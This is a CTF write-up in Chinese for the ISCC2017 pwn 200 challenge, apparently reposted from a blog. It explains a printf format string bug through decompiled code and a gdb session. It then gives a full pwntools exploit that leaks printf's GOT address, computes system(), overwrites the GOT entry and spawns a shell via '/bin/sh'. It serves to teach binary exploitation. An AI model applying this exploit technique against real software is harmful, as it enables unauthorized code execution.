ISCC2017 pwn 200 —— 字符串格式化漏洞

简介

  这是一道字符串格式化漏洞的题目,给了libc,直接字符串格式化漏洞泄露出地址,就可以算出system的地址,最后再写got表就行了

伪代码

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // [sp+14h] [bp-6Ch]@3
  int v4; // [sp+18h] [bp-68h]@5
  int v5; // [sp+7Ch] [bp-4h]@1

  v5 = *MK_FP(__GS__, 20);
  setbuf(stdout, 0);
  while ( 1 )
  {
    introduce();
    do
      __isoc99_scanf("%d", &v3);
    while ( (char *)(char)getchar() == "
" );
    if ( v3 == 1 )
    {
      puts("please input your name:");
      gets((char *)&v4);
      printf((const char *)&v4);
      puts(",you are welcome!");
    }
    else if ( v3 == 2 )
    {
      puts("nothing!!!!lol");
    }
    else
    {
      puts("please,don't trick me");
    }
  }
}

最初一看,以为是缓冲区溢出,一直循环没返回啊,不是缓冲区溢出。

原来输入直接传到了printf那里,可以利用字符串格式化漏洞

漏洞利用

计算偏移方法1

我们先看看printf的偏移,输入AAAA调试一下

gdb-peda$ b *0x08048618 
Breakpoint 1 at 0x8048618
gdb-peda$ r
Starting program: /root/Desktop/iscc/pwn1 

++++Welcome to ziiiro's class!++++
now you can do something:
1.get your name
2.heiheihei
plz input$1
please input your name:
AAAA

[----------------------------------registers-----------------------------------]
EAX: 0xffffd618 ("AAAA")
EBX: 0x0 
ECX: 0xfbad2288 
EDX: 0xf7fb087c --> 0x0 
ESI: 0x1 
EDI: 0xf7faf000 --> 0x1b2db0 
EBP: 0xffffd688 --> 0x0 
ESP: 0xffffd600 --> 0xffffd618 ("AAAA")
EIP: 0x8048618 (<main+135>: call   0x80483e0 <printf@plt>)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x804860c <main+123>:    call   0x80483f0 <gets@plt>
   0x8048611 <main+128>:    lea    eax,[esp+0x18]
   0x8048615 <main+132>:    mov    DWORD PTR [esp],eax
=> 0x8048618 <main+135>:    call   0x80483e0 <printf@plt>
   0x804861d <main+140>:    mov    DWORD PTR [esp],0x8048772
   0x8048624 <main+147>:    call   0x8048410 <puts@plt>
   0x8048629 <main+152>:    jmp    0x8048653 <main+194>
   0x804862b <main+154>:    mov    eax,DWORD PTR [esp+0x14]
Guessed arguments:
arg[0]: 0xffffd618 ("AAAA")
[------------------------------------stack-------------------------------------]
0000| 0xffffd600 --> 0xffffd618 ("AAAA")
0004| 0xffffd604 --> 0xffffd614 --> 0x1 
0008| 0xffffd608 --> 0xc30000 
0012| 0xffffd60c --> 0xffffd724 --> 0xffffd848 ("/root/Desktop/iscc/pwn1")
0016| 0xffffd610 --> 0xaffd000 
0020| 0xffffd614 --> 0x1 
0024| 0xffffd618 ("AAAA")
0028| 0xffffd61c --> 0x8048200 --> 0x1a 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x08048618 in main ()
gdb-peda$ 

我们看栈就行,我们看到我们可控的局部变量是printf的第7个参数,除去第一个格式化字符,就是偏移是6的位置

[------------------------------------stack-------------------------------------]
0000| 0xffffd600 --> 0xffffd618 ("AAAA")
0004| 0xffffd604 --> 0xffffd614 --> 0x1 
0008| 0xffffd608 --> 0xc30000 
0012| 0xffffd60c --> 0xffffd724 --> 0xffffd848 ("/root/Desktop/iscc/pwn1")
0016| 0xffffd610 --> 0xaffd000 
0020| 0xffffd614 --> 0x1 
0024| 0xffffd618 ("AAAA")
0028| 0xffffd61c --> 0x8048200 --> 0x1a

计算偏移方法2

当然pwntools牛逼得很,直接可以算出来

# -*- coding: utf-8 -*-
from pwn import *
def getoffset(payload):
    p = process("./pwn1")
    p.recvuntil("input$")
    p.sendline('1')
    p.recvuntil('please input your name:
')
    p.sendline(payload)
    info = p.recvuntil(",you")[:-4]
    p.close()
    return info
autofmt = FmtStr(getoffset)
print autofmt.offset

运行结果

root@kali:~/Desktop/iscc# python getoffset.py 
[+] Starting local process './pwn1': pid 1918
[*] Stopped process './pwn1' (pid 1918)
[+] Starting local process './pwn1': pid 1920
[*] Stopped process './pwn1' (pid 1920)
[+] Starting local process './pwn1': pid 1922
[*] Stopped process './pwn1' (pid 1922)
[+] Starting local process './pwn1': pid 1924
[*] Stopped process './pwn1' (pid 1924)
[+] Starting local process './pwn1': pid 1926
[*] Stopped process './pwn1' (pid 1926)
[+] Starting local process './pwn1': pid 1928
[*] Stopped process './pwn1' (pid 1928)
[*] Found format string offset: 6
6

泄露printf的地址

当然也可以泄露gets,puts的地址

p.recvuntil("input$")
p.sendline('1')
p.recvuntil('please input your name:
')
payload = p32(got_printf) + "%6$s"
#print repr(payload)
p.sendline(payload)
printf_addr_and_xxx = p.recvuntil(",you")
printf_addr = u32(printf_addr_and_xxx[4:8])
print "printf_addr = " + hex(printf_addr)

算出system的地址

libc = ELF('./libc32.so')
......
system_addr = printf_addr - (libc.symbols['printf'] - libc.symbols['system'])
print "system_addr = " + hex(system_addr)

改写printf的got表

利用gets函数传入/bin/sh,最终执行system(‘/bin/sh’)

p.recvuntil("input$")
p.sendline('1')
p.recvuntil('please input your name:
')
payload2 = fmtstr_payload(6, {got_printf: system_addr})  
p.sendline(payload2)
p.sendline('1')
p.recvuntil('please input your name:
')
p.sendline('/bin/sh')

最终exp

from pwn import *
#context.log_level = 'debug'

libc = ELF('./libc32.so')
elf = ELF("./pwn1")

got_printf = elf.got['printf']
#print hex(got_printf)

p = process("./pwn1")
#p = remote("127.0.0.1", 10001)

p.recvuntil("input$")
p.sendline('1')
p.recvuntil('please input your name:
')
payload = p32(got_printf) + "%6$s"
p.sendline(payload)
printf_addr_and_xxx = p.recvuntil(",you")
printf_addr = u32(printf_addr_and_xxx[4:8])
print "printf_addr = " + hex(printf_addr)
system_addr = printf_addr - (libc.symbols['printf'] - libc.symbols['system'])
print "system_addr = " + hex(system_addr)

p.recvuntil("input$")
p.sendline('1')
p.recvuntil('please input your name:
')

payload2 = fmtstr_payload(6, {got_printf: system_addr})  
p.sendline(payload2)

p.sendline('1')
p.recvuntil('please input your name:
')
p.sendline('/bin/sh')

p.interactive()
原文地址:https://www.cnblogs.com/cnsec/p/13286507.html